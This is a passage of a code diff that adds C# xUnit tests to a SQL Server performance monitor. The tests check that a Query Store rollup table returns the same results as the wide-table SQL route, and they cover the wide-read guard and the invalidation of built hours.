+        yield return new object[] { "StampThroughBeforeTheWideStart", Context(Day, Day.AddDays(1), Day.AddHours(5), Day.AddHours(6)), TopQueriesOverTime(), null! };
+        yield return new object[] { "NotTheWideRoute", Context(Day, Day.AddDays(1), through, wide: false), TopQueriesOverTime(), null! };
+        yield return new object[]
+        {
+            "NotQueryStore",
+            Context(Day, Day.AddDays(1), through),
+            "{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"topN\":5,\"groupBy\":[\"wait_type\"],\"viz\":\"line\"}",
+            null!,
+        };
+        yield return new object[]
+        {
+            "APartialHasNoColumn",
+            Context(Day, Day.AddDays(1), through),
+            TopQueriesOverTime(),
+            (Func<string, string?>)(e => e == "SUM(f.avg_cpu_time_us * f.execution_count)" ? null : ComposeCompiler.StampColumnFor(e)),
+        };
+    }
+
+    [Theory]
+    [MemberData(nameof(NoStampCases))]
+    public void NoStampText_WhenAnyOfTheGatesFails_AndTheWideTextIsTheUnstampedCompile(
+        string name, ComposeRunContext context, string json, Func<string, string?>? map)
+    {
+        var compiled = Compile(json, context, stampColumns: map);
+        Assert.DoesNotContain("query_store_compose_stamp", compiled.Sql, StringComparison.Ordinal);
+
+        /* Byte for byte the compile that carries no stamp instant at all. */
+        var unstamped = Compile(json, context with { QueryStoreStampThrough = null });
+        Assert.Equal(unstamped.Sql, compiled.Sql);
+        Assert.Equal(unstamped.Parameters.Count, compiled.Parameters.Count);
+        Assert.NotEmpty(name);
+    }
+
+    [Fact]
+    public void TheRelation_SelectsTheKeyColumnsThenThePartials()
+    {
+        var compiled = Compile(TopQueriesOverTime(), Context(Day, Day.AddDays(1), Day.AddHours(12)));
+        var relation = Relations(compiled.Sql)[0];
+        Assert.Contains("SELECT f.server_id, f.database_name, f.module_name, f.query_hash, f.collection_time, s.server_name", relation, StringComparison.Ordinal);
+    }
+
+    public static IEnumerable<object[]> EveryMeasureAggregateAndMode()
+    {
+        var shapes = new (string Mode, string Json)[]
+        {
+            ("Scalar", ",\"viz\":\"stat\""),
+            ("TimeSeries", ",\"timeBucket\":\"hour\",\"viz\":\"line\""),
+            ("Ranked", ",\"topN\":5,\"groupBy\":[\"database_name\"],\"viz\":\"bar\""),
+            ("RankedTimeSeries", ",\"timeBucket\":\"hour\",\"topN\":5,\"groupBy\":[\"database_name\"],\"viz\":\"line\""),
+            ("RankedTimeSeriesOther", ",\"timeBucket\":\"hour\",\"topN\":5,\"groupBy\":[\"database_name\"],\"includeOther\":true,\"viz\":\"line\""),
+            ("RankedTimeSeriesQueryHash", ",\"timeBucket\":\"hour\",\"topN\":5,\"groupBy\":[\"query_hash\"],\"viz\":\"line\""),
+        };
+
+        foreach (var measure in MeasureCatalog.Measures.Where(m => m.SourceTable == "query_store_stats"))
+        {
+            var aggregates = measure.Kind == MeasureKind.Ratio
+                ? new string?[] { null }
+                : measure.ValidAggs.Select(a => (string?)MeasureCatalog.WireName(a)).ToArray();
+            foreach (var aggregate in aggregates)
+            {
+                foreach (var (mode, json) in shapes)
+                {
+                    yield return new object[] { measure.Key, aggregate!, mode, json };
+                }
+            }
+        }
+    }
+
+    [Theory]
+    [MemberData(nameof(EveryMeasureAggregateAndMode))]
+    public void EveryQueryStoreMeasureAndAggregate_CompilesInStampMode_AndTheRankAndTheSeriesReadTheSameRelation(
+        string measure, string? aggregate, string mode, string shape)
+    {
+        var context = Context(Day, Day.AddDays(1), Day.AddHours(12));
+        var compiled = Compile(Panel(measure, aggregate, shape), context);
+        var sql = compiled.Sql;
+
+        var relations = Relations(sql);
+        Assert.NotEmpty(relations);
+        Assert.All(relations, r => Assert.Equal(relations[0], r));
+        Assert.Equal(3, relations[0].Split(" UNION ALL ", StringSplitOptions.None).Length);
+
+        /* The same text names each fact scan: the single-scan RankedTimeSeries reads the relation once, every other two-scan shape twice. */
+        var expectedScans = mode == "RankedTimeSeriesQueryHash" ? 2 : 1;
+        Assert.Equal(expectedScans, relations.Count);
+        Assert.Equal(expectedScans, Occurrences(sql, "collect.query_store_compose_stamp AS f"));
+        Assert.Equal(expectedScans, Occurrences(sql, "collect.query_store_interval_wide AS f"));
+
+        /* One new parameter beyond today's: $stampThrough. */
+        var unstamped = Compile(Panel(measure, aggregate, shape), context with { QueryStoreStampThrough = null });
+        Assert.Equal(unstamped.Parameters.Count + 1, compiled.Parameters.Count);
+    }
+
+    [Fact]
+    public void TheOverlay_ReadsItsPartialsFromTheSameRelation_AndAnUnmappedOverlayPartialFallsBack()
+    {
+        var json = "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"viz\":\"line\","
+            + "\"overlay\":{\"measure\":\"qs_max_duration_us\",\"aggregate\":\"max\"}}";
+        var context = Context(Day, Day.AddDays(1), Day.AddHours(12));
+        var compiled = Compile(json, context);
+        Assert.Contains("CAST(SUM(f.ec_sum) AS double precision) AS value", compiled.Sql, StringComparison.Ordinal);
+        Assert.Contains("MAX(f.maxdur_max)", compiled.Sql, StringComparison.Ordinal);
+        Assert.Contains(" AS value2", compiled.Sql, StringComparison.Ordinal);
+        Assert.Contains(", f.ec_sum, f.maxdur_max FROM collect.query_store_compose_stamp AS f", compiled.Sql, StringComparison.Ordinal);
+
+        var fallback = Compile(json, context, stampColumns: e => e == "MAX(f.max_duration_us)" ? null : ComposeCompiler.StampColumnFor(e));
+        Assert.DoesNotContain("query_store_compose_stamp", fallback.Sql, StringComparison.Ordinal);
+        Assert.Equal(Compile(json, context with { QueryStoreStampThrough = null }).Sql, fallback.Sql);
+    }
+
+    /// <summary>#5582 L1: the runner's gate (<c>ReadsStampRollup</c>) keeps the guard's stamp-through only for a panel whose text reads the
+    /// rollup. A plan the gate refuses compiles to the wide-table text, and a plan it accepts compiles to the rollup text.</summary>
+    [Fact]
+    public void TheReadsStampRollupGate_AgreesWithTheCompiledText_AndRefusesAPlanTheRollupCannotServe()
+    {
+        var plan = QueryStoreRankedHarness.Parse(TopQueriesOverTime());
+        var through = Day.AddHours(20);
+        var served = Context(Day, Day.AddDays(1), through);
+        Assert.True(ComposeCompiler.ReadsStampRollup(plan, served));
+        Assert.Contains("query_store_compose_stamp", Compile(TopQueriesOverTime(), served).Sql, StringComparison.Ordinal);
+
+        var refused = new[]
+        {
+            served with { QueryStoreStampThrough = null },
+            served with { QueryStoreWideEligible = false },
+            served with { QueryStoreStampThrough = Day },
+        };
+        foreach (var context in refused)
+        {
+            Assert.False(ComposeCompiler.ReadsStampRollup(plan, context));
+            Assert.DoesNotContain("query_store_compose_stamp", Compile(TopQueriesOverTime(), context).Sql, StringComparison.Ordinal);
+        }
+
+        /* A panel on another source never reads the rollup, whatever the context says. */
+        var waits = QueryStoreRankedHarness.Parse("{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"topN\":5,\"groupBy\":[\"wait_type\"],\"viz\":\"bar\"}");
+        Assert.False(ComposeCompiler.ReadsStampRollup(waits, served));
+
+        /* No rollup column for a partial: the compile falls back, and the gate's answer matches the compiled text. */
+        var fallback = Compile(TopQueriesOverTime(), served, stampColumns: _ => null);
+        Assert.DoesNotContain("query_store_compose_stamp", fallback.Sql, StringComparison.Ordinal);
+        Assert.Equal(Compile(TopQueriesOverTime(), served with { QueryStoreStampThrough = null }).Sql, fallback.Sql);
+    }
+
+    [Fact]
+    public void EveryPartialTheCompilerCanAsk_ForAQueryStoreMeasure_HasARollupColumn()
+    {
+        foreach (var measure in MeasureCatalog.Measures.Where(m => m.SourceTable == "query_store_stats"))
+        {
+            var aggregates = measure.Kind == MeasureKind.Ratio ? new string?[] { null } : measure.ValidAggs.Select(a => (string?)MeasureCatalog.WireName(a)).ToArray();
+            foreach (var aggregate in aggregates)
+            {
+                var asked = new List<string>();
+                var compiled = Compile(Panel(measure.Key, aggregate, ",\"viz\":\"stat\""), Context(Day, Day.AddDays(1), Day.AddHours(12)),
+                    stampColumns: e => { asked.Add(e); return ComposeCompiler.StampColumnFor(e); });
+                Assert.Contains("query_store_compose_stamp", compiled.Sql, StringComparison.Ordinal);
+                Assert.NotEmpty(asked);
+                Assert.All(asked, e => Assert.NotNull(ComposeCompiler.StampColumnFor(e)));
+            }
+        }
+    }
+
+
+    /// <summary>The stamp-mode text, byte for byte, for the "top 10 queries by CPU over time" panel of one fleet-day at minute grain: the
+    /// panel part 2's oracle pin holds in its wide-table form, read through the rollup for the first 20 hours. The relation is the
+    /// three arms; the rank and the series read the same text.</summary>
+    [Fact]
+    public void TheStampText_ForTheFleetDayTopQueriesPanel_IsPinned()
+    {
+        var sql = Compile(TopQueriesOverTime(), Context(Day, Day.AddDays(1), Day.AddHours(20))).Sql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        const string Relation = "SELECT f.server_id, f.database_name, f.module_name, f.query_hash, f.collection_time, s.server_name, f.cpu_wsum FROM collect.query_store_compose_stamp AS f JOIN collect.servers AS s ON s.server_id = f.server_id WHERE f.collection_time >= $1 AND f.collection_time < $3 AND EXISTS (SELECT 1 FROM collect.query_store_compose_stamp_built AS b WHERE b.server_id = f.server_id AND b.hour = date_trunc('hour', f.collection_time) AND b.built_seq = b.late_seq) UNION ALL "
+            + "SELECT f.server_id, f.database_name, f.module_name, f.query_hash, f.collection_time, s.server_name, CAST(f.avg_cpu_time_us * f.execution_count AS numeric) AS cpu_wsum FROM collect.query_store_compose_stamp_built AS b CROSS JOIN LATERAL (SELECT w.* FROM collect.query_store_interval_wide AS w WHERE w.server_id = b.server_id AND w.collection_time >= b.hour AND w.collection_time < b.hour + interval '1 hour' AND w.collection_time >= $1 AND w.collection_time < $3 OFFSET 0) AS f JOIN collect.servers AS s ON s.server_id = f.server_id WHERE b.hour >= date_trunc('hour', $1) AND b.hour < $3 AND b.built_seq IS DISTINCT FROM b.late_seq UNION ALL "
+            + "SELECT f.server_id, f.database_name, f.module_name, f.query_hash, f.collection_time, s.server_name, CAST(f.avg_cpu_time_us * f.execution_count AS numeric) AS cpu_wsum FROM collect.query_store_interval_wide AS f JOIN collect.servers AS s ON s.server_id = f.server_id WHERE f.collection_time >= $3 AND f.collection_time <= $2";
+        const string Expected = """
+            WITH topn AS (
+                SELECT f.query_hash AS query_hash, (CAST(SUM(f.cpu_wsum) AS double precision)) * 1.0 / 1000000.0 AS value
+                FROM (<RELATION>) AS f
+                WHERE f.collection_time >= $1
+                  AND f.collection_time <= $2
+                GROUP BY f.query_hash
+                ORDER BY value DESC NULLS LAST
+                LIMIT $4
+            )
+            SELECT * FROM (
+            SELECT date_trunc('minute', f.collection_time) AS bucket, f.query_hash AS query_hash, (CAST(SUM(f.cpu_wsum) AS double precision)) * 1.0 / 1000000.0 AS value
+            FROM (<RELATION>) AS f
+            WHERE f.collection_time >= $1
+              AND f.collection_time <= $2
+              AND EXISTS (SELECT 1 FROM topn AS t WHERE t.query_hash IS NOT DISTINCT FROM f.query_hash)
+            GROUP BY date_trunc('minute', f.collection_time), f.query_hash
+            ORDER BY bucket DESC
+            LIMIT 10000
+            ) AS capped
+            ORDER BY bucket
+            """;
+        Assert.Equal(Expected.Replace("\r\n", "\n", StringComparison.Ordinal).Replace("<RELATION>", Relation, StringComparison.Ordinal), sql);
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeQueryStoreStampExactnessLiveTests.cs b/Darling/Darling.Tests/ComposeQueryStoreStampExactnessLiveTests.cs
new file mode 100644
index 0000000000..b58f55a568
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeQueryStoreStampExactnessLiveTests.cs
@@ -0,0 +1,166 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 part 3, lane 4: the stamp route answers EXACTLY what the wide-table route answers. The lane 1 seed (30 hours, three servers,
+/// NULLs, weighted products past a bigint) is built hour by hour; every Query Store measure x valid aggregate runs through every panel
+/// mode, once with the runner's StampThrough (the candidate) and once without it (the oracle, today's wide-table text), and the two
+/// result sets must be equal bit for bit (<see cref="QueryStoreRankedHarness"/>, tolerance 0). Modes: Scalar, Ranked by module and by
+/// query_hash, TimeSeries at minute, hour and day, RankedTimeSeries with includeOther on and off, on the single-scan text and on the
+/// two-scan text. The window starts mid-hour; one window ends inside the first unbuilt hours (the rollup, then a tail of wide rows),
+/// the other lies wholly in built hours (StampThrough capped at the window end). Each shape also runs server-scoped and filtered.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to CREATE and DROP its
+   own database through ScratchPostgres and works entirely inside it, so it never touches the shared database and cannot race the
+   live collection. */
+public sealed class ComposeQueryStoreStampExactnessLiveTests
+{
+    private static readonly (string Kind, string Key, string? Aggregate)[] Measures =
+    {
+        ("measure", "qs_executions", "sum"), ("measure", "qs_executions", "avg"), ("measure", "qs_executions", "min"), ("measure", "qs_executions", "max"),
+        ("measure", "qs_max_duration_us", "avg"), ("measure", "qs_max_duration_us", "min"), ("measure", "qs_max_duration_us", "max"),
+        ("measure", "qs_max_cpu_us", "avg"), ("measure", "qs_max_cpu_us", "min"), ("measure", "qs_max_cpu_us", "max"),
+        ("ratio", "qs_avg_duration_us", null), ("ratio", "qs_avg_cpu_us", null), ("ratio", "qs_total_duration_us", null), ("ratio", "qs_total_cpu_us", null),
+    };
+
+    private static string Panel(
+        (string Kind, string Key, string? Aggregate) measure, string viz, string[]? groups, int? topN, string? bucket, bool includeOther = false, string? filters = null) =>
+        "{\"source\":\"query_store_stats\",\"" + measure.Kind + "\":\"" + measure.Key + "\""
+        + (measure.Aggregate is null ? string.Empty : ",\"aggregate\":\"" + measure.Aggregate + "\"")
+        + (bucket is null ? string.Empty : ",\"timeBucket\":\"" + bucket + "\"")
+        + (topN is null ? string.Empty : ",\"topN\":" + topN.Value.ToString(CultureInfo.InvariantCulture))
+        + (groups is null ? string.Empty : ",\"groupBy\":[" + string.Join(",", groups.Select(g => "\"" + g + "\"")) + "]")
+        + ",\"viz\":\"" + viz + "\""
+        + (includeOther ? ",\"includeOther\":true" : string.Empty)
+        + (filters is null ? string.Empty : ",\"filters\":" + filters) + "}";
+
+    private const string Db1 = "[{\"dimension\":\"database_name\",\"op\":\"eq\",\"value\":\"db1\"}]";
+
+    private sealed record Counter(int Compared, int WithRows, int StampText);
+
+    private static async Task<Counter> CompareAsync(
+        NpgsqlConnection connection, string json, ComposeRunContext withStamp, ComposeRunContext without, string label, Counter counter, CancellationToken ct)
+    {
+        var compared = counter.Compared;
+        var withRows = counter.WithRows;
+        var stampText = counter.StampText;
+        foreach (var candidate in new[] { QueryStoreRankedHarness.Product, QueryStoreRankedHarness.Oracle })
+        {
+            var result = await QueryStoreRankedHarness.CompareAsync(connection, json, withStamp, candidate, without, QueryStoreRankedHarness.Oracle, 0d, ct);
+            compared++;
+            withRows += result.OracleRows > 0 ? 1 : 0;
+            Assert.True(result.Equal, $"{label} | {json}: {result.Difference}");
+            Assert.True(result.MemberSetsDiffered || result.OracleRows == result.CandidateRows, $"{label} | {json}: row counts {result.CandidateRows} vs {result.OracleRows}");
+            Assert.True(result.CandidateSql.Contains("query_store_compose_stamp", StringComparison.Ordinal), $"{label} | {json}: the candidate did not read the rollup");
+            Assert.False(result.OracleSql.Contains("query_store_compose_stamp", StringComparison.Ordinal), $"{label} | {json}: the oracle must be the wide-table text");
+            stampText++;
+        }
+
+        return new Counter(compared, withRows, stampText);
+    }
+
+    [Fact]
+    public async Task TheStampRoute_EqualsTheWideRoute_ForEveryMeasureAggregateAndMode_BitForBit()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ComposeStampLiveSupport.BaseConnectionString), ComposeStampLiveSupport.SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ComposeStampLiveSupport.ArrangeAsync(ct, build: false);
+        var bodySucceeded = false;
+        try
+        {
+            /* Rows whose weighted products need 63 bits, many to a group (lane 4c): a weighted sum built as double precision rounds on
+               them, and the seed's own exact products would let it pass. */
+            await ComposeStampLiveSupport.SeedPrecisionRowsAsync(connection, hourNow, ComposeStampLiveSupport.PrecisionSpot.Built, ct);
+            await ComposeStampLiveSupport.SeedPrecisionRowsAsync(connection, hourNow, ComposeStampLiveSupport.PrecisionSpot.Tail, ct);
+            Assert.Equal(28, await ComposeStampLiveSupport.BuildAllAsync(source, ct));
+            await ComposeStampLiveSupport.AssertPrecisionRowsHaveTeethAsync(connection, ct);
+
+            /* Window A: starts at hourNow - 28 h + 17 min (mid-hour, inside the built run), ends at hourNow - 40 min. The built hours stop at
+               hourNow - 3 h, so the rollup answers up to hourNow - 2 h and the rest is the wide-table tail. */
+            var startA = hourNow.AddHours(-28).AddMinutes(17);
+            var endA = hourNow.AddMinutes(-40);
+            var throughA = await ComposeStampLiveSupport.StampThroughAsync(connection, startA, endA, ct);
+            Assert.Equal(hourNow.AddHours(-2), throughA);
+
+            /* Window B: 90 minutes inside built hours, starting mid-hour: nothing is unbuilt, so StampThrough is capped at the window end. */
+            var startB = hourNow.AddHours(-20).AddMinutes(17);
+            var endB = startB.AddMinutes(90);
+            var throughB = await ComposeStampLiveSupport.StampThroughAsync(connection, startB, endB, ct);
+            Assert.Equal(endB, throughB);
+
+            var counter = new Counter(0, 0, 0);
+
+            async Task RunMatrixAsync((DateTime Start, DateTime End, DateTime? Through, string[] Buckets)[] windows, string tag, bool reduced = false)
+            {
+                foreach (var scope in reduced ? new IReadOnlyList<string>?[] { null } : new IReadOnlyList<string>?[] { null, new[] { "srv2" } })
+                {
+                    foreach (var filters in reduced ? new string?[] { null } : new string?[] { null, Db1 })
+                    {
+                        var label = $"{tag} scope={(scope is null ? "fleet" : "srv2")} filter={(filters is null ? "none" : "db1")}";
+                        foreach (var (start, end, through, buckets) in windows)
+                        {
+                            var withStamp = QueryStoreRankedHarness.WideContext(start, end, scope) with { QueryStoreStampThrough = through };
+                            var without = QueryStoreRankedHarness.WideContext(start, end, scope);
+                            var windowLabel = $"{label} window={start:HH:mm}..{end:HH:mm}";
+                            foreach (var measure in Measures)
+                            {
+                                counter = await CompareAsync(connection, Panel(measure, "stat", null, null, null, false, filters), withStamp, without, windowLabel, counter, ct);
+                                foreach (var group in new[] { "module_name", "query_hash" })
+                                {
+                                    counter = await CompareAsync(connection, Panel(measure, "bar", new[] { group }, 4, null, false, filters), withStamp, without, windowLabel, counter, ct);
+                                }
+
+                                foreach (var bucket in buckets)
+                                {
+                                    counter = await CompareAsync(connection, Panel(measure, "line", null, null, bucket, false, filters), withStamp, without, windowLabel, counter, ct);
+                                    foreach (var (groups, topN) in new[] { (new[] { "module_name" }, 3), (new[] { "database_name", "module_name" }, 5), (new[] { "query_hash" }, 4) })
+                                    {
+                                        foreach (var includeOther in new[] { false, true })
+                                        {
+                                            counter = await CompareAsync(connection, Panel(measure, "line", groups, topN, bucket, includeOther, filters), withStamp, without, windowLabel, counter, ct);
+                                        }
+                                    }
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+
+            await RunMatrixAsync(new[] { (startA, endA, (DateTime?)throughA, new[] { "hour", "day" }), (startB, endB, (DateTime?)throughB, new[] { "minute", "hour" }) }, "built");
+
+            /* The stale arm (lane 4c): a late run of 63-bit and rounding-tie rows into a built hour of servers 1 and 2 turns those pairs stale,
+               and the statement keeps the StampThrough it had (the window A one), so those rows go through the compiler's per-row partials
+               and the sums must still be numeric. Window A only, forced StampThrough. */
+            await ComposeStampLiveSupport.SeedPrecisionRowsAsync(connection, hourNow, ComposeStampLiveSupport.PrecisionSpot.Stale, ct);
+            Assert.True(await ComposeStampLiveSupport.CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp_built WHERE built_seq IS DISTINCT FROM late_seq", ct) >= 2, "the late rows must make the pairs stale");
+            await RunMatrixAsync(new[] { (startA, endA, (DateTime?)throughA, new[] { "hour", "day" }) }, "stale", reduced: true);
+
+            Assert.True(counter.Compared >= 1500, $"expected the full matrix; compared {counter.Compared}");
+            Assert.Equal(counter.Compared, counter.StampText);
+            Assert.True(counter.WithRows * 10 >= counter.Compared * 8, $"the seed must give most cases rows: {counter.WithRows} of {counter.Compared}");
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await ComposeStampLiveSupport.CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeQueryStoreStampGuardLiveTests.cs b/Darling/Darling.Tests/ComposeQueryStoreStampGuardLiveTests.cs
new file mode 100644
index 0000000000..c60e03e191
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeQueryStoreStampGuardLiveTests.cs
@@ -0,0 +1,91 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 part 3, lane 4: the wide-read guard counts the hours the rollup answers at <see cref="ComposeLimits.StampRowWeight"/>, through the
+/// runner's own StampThrough. A fleet-sized estimate (the daily summary says every server reads millions of wide rows a day) is seeded; the
+/// one-day fleet panel is then run through the shared runner twice: with the rollup built (it passes, and its text reads the rollup) and
+/// with the rollup's hour ledger empty, as before the first build (StampThrough is null, every hour counts 1.0, and the panel is refused with
+/// the guard's message, never run).
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to CREATE and DROP its
+   own database through ScratchPostgres and works entirely inside it, so it never touches the shared database and cannot race the
+   live collection. */
+public sealed class ComposeQueryStoreStampGuardLiveTests
+{
+    private const string PanelJson =
+        "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"viz\":\"line\"}";
+
+    [Fact]
+    public async Task TheOneDayFleetPanel_PassesTheGuardWithStampThrough_AndIsRefusedWithoutIt()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ComposeStampLiveSupport.BaseConnectionString), ComposeStampLiveSupport.SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ComposeStampLiveSupport.ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* The fleet-sized estimate: three servers at 3.2 M wide rows a day each is 9.6 M for the one-day window, over the 6.8 M limit
+               for one scan of the wide table, and 0.3 weight for the 22 hours the rollup answers brings it to about a third of that. */
+            foreach (var server in new[] { 1, 2, 3 })
+            {
+                await ComposeStampLiveSupport.ExecAsync(connection,
+                    "INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows) "
+                    + $"VALUES ({server}, DATE '{hourNow.AddDays(-1):yyyy-MM-dd}', 2, now() AT TIME ZONE 'UTC', 3200000)", ct);
+            }
+
+            /* The wide table's floor must lie a purge-edge margin before the window (the eligibility gate's clause 3); one old row per server,
+               outside the window and outside the builder's floor, stands for the retained history a real store has. */
+            foreach (var server in new[] { 1, 2, 3 })
+            {
+                await ComposeStampLiveSupport.InsertRowAsync(connection, server, hourNow.AddDays(-10), 8_000_000 + server, ct);
+            }
+
+            var spec = new JsonObject { ["panel"] = JsonNode.Parse(PanelJson), ["hours"] = 24 };
+
+            /* The runner's own resolution: eligible, with the rollup answering up to the first unbuilt hour. */
+            var end = DateTime.UtcNow;
+            var start = end.AddHours(-24);
+            var resolution = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(source, null, start, end, null, ct);
+            Assert.True(resolution.Eligible, "the seeded store must route the panel to the wide table, or this test proves nothing");
+            Assert.Equal(hourNow.AddHours(-2), resolution.StampThrough);
+
+            var passed = await DarlingWebEndpoints.RunComposedPanelAsync(source, (JsonObject)spec.DeepClone(), ct);
+            Assert.True(passed.Payload is not null, "with the rollup built the one-day panel must run: " + passed.Error);
+            Assert.Contains("query_store_compose_stamp", passed.Payload!["sql"]!.GetValue<string>(), StringComparison.Ordinal);
+
+            /* Before the first build: no hour in the ledger, StampThrough is null, the same panel is refused. */
+            await ComposeStampLiveSupport.ExecAsync(connection, "DELETE FROM collect.query_store_compose_stamp_hours", ct);
+            var unbuilt = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(source, null, start, end, null, ct);
+            Assert.True(unbuilt.Eligible);
+            Assert.Null(unbuilt.StampThrough);
+
+            var refused = await DarlingWebEndpoints.RunComposedPanelAsync(source, (JsonObject)spec.DeepClone(), ct);
+            Assert.True(refused.Payload is null, "without StampThrough the 9.6 M-row read must be refused; the panel ran");
+            Assert.False(refused.IsServerError);
+            Assert.StartsWith("This panel needs about ", refused.Error, StringComparison.Ordinal);
+            Assert.EndsWith("Choose fewer servers or a shorter window.", refused.Error, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await ComposeStampLiveSupport.CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeQueryStoreStampInvalidationLiveTests.cs b/Darling/Darling.Tests/ComposeQueryStoreStampInvalidationLiveTests.cs
new file mode 100644
index 0000000000..926e258153
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeQueryStoreStampInvalidationLiveTests.cs
@@ -0,0 +1,139 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 part 3, lane 4: a late write into a built hour never changes an answer. Two writes, each on the lane 1 seed with all 28 hours
+/// built: a replayed row inserted into a built hour, and a row moved out of a built hour by an UPDATE of its collection_time. For each:
+/// the trigger marks the pair, so the runner's StampThrough lookup stops at that hour; the statement's stale arm gives the oracle's
+/// answer when the pair turns stale AFTER the lookup (simulated by handing the compiler the StampThrough from before the write); and
+/// a rebuild makes the hour current, so the lookup passes it again and the rollup answers it.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to CREATE and DROP its
+   own database through ScratchPostgres and works entirely inside it, so it never touches the shared database and cannot race the
+   live collection. */
+public sealed class ComposeQueryStoreStampInvalidationLiveTests
+{
+    private static readonly string[] Panels =
+    {
+        "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"viz\":\"stat\"}",
+        "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"min\",\"timeBucket\":\"hour\",\"viz\":\"line\"}",
+        "{\"source\":\"query_store_stats\",\"measure\":\"qs_max_duration_us\",\"aggregate\":\"max\",\"topN\":5,\"groupBy\":[\"module_name\"],\"viz\":\"bar\"}",
+        "{\"source\":\"query_store_stats\",\"ratio\":\"qs_avg_duration_us\",\"topN\":4,\"groupBy\":[\"module_name\"],\"timeBucket\":\"hour\",\"includeOther\":true,\"viz\":\"line\"}",
+        "{\"source\":\"query_store_stats\",\"ratio\":\"qs_total_cpu_us\",\"topN\":4,\"groupBy\":[\"query_hash\"],\"timeBucket\":\"hour\",\"viz\":\"line\"}",
+    };
+
+    private static async Task AssertSameAsOracleAsync(
+        NpgsqlConnection connection, DateTime start, DateTime end, DateTime? stampThrough, IReadOnlyList<string>? scope, string label, CancellationToken ct)
+    {
+        var withStamp = QueryStoreRankedHarness.WideContext(start, end, scope) with { QueryStoreStampThrough = stampThrough };
+        var without = QueryStoreRankedHarness.WideContext(start, end, scope);
+        foreach (var json in Panels)
+        {
+            var result = await QueryStoreRankedHarness.CompareAsync(
+                connection, json, withStamp, QueryStoreRankedHarness.Product, without, QueryStoreRankedHarness.Oracle, 0d, ct);
+            Assert.True(result.Equal, $"{label} | {json}: {result.Difference}");
+            Assert.True(result.OracleRows > 0, $"{label} | {json}: no rows");
+            if (stampThrough is not null)
+            {
+                Assert.Contains("query_store_compose_stamp", result.CandidateSql, StringComparison.Ordinal);
+            }
+        }
+    }
+
+    private static string Pair(int server, DateTime hour) => server.ToString(CultureInfo.InvariantCulture) + "@" + hour.ToString("yyyy-MM-dd HH", CultureInfo.InvariantCulture);
+
+    private static Task<string> StaleListAsync(NpgsqlConnection connection, CancellationToken ct) => ComposeStampLiveSupport.TextAsync(connection, @"
+SELECT COALESCE(string_agg(b.server_id || '@' || to_char(b.hour, 'YYYY-MM-DD HH24'), ',' ORDER BY b.server_id, b.hour), '')
+FROM collect.query_store_compose_stamp_built AS b
+JOIN collect.query_store_compose_stamp_hours AS h ON h.hour = b.hour
+WHERE b.built_seq IS DISTINCT FROM b.late_seq", ct);
+
+    [Fact]
+    public async Task AReplayedRow_AndARowMovedOutOfABuiltHour_StopTheLookupAtThatHour_TheStaleArmGivesTheOraclesAnswer_AndARebuildMakesTheHourCurrent()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ComposeStampLiveSupport.BaseConnectionString), ComposeStampLiveSupport.SkipReason);
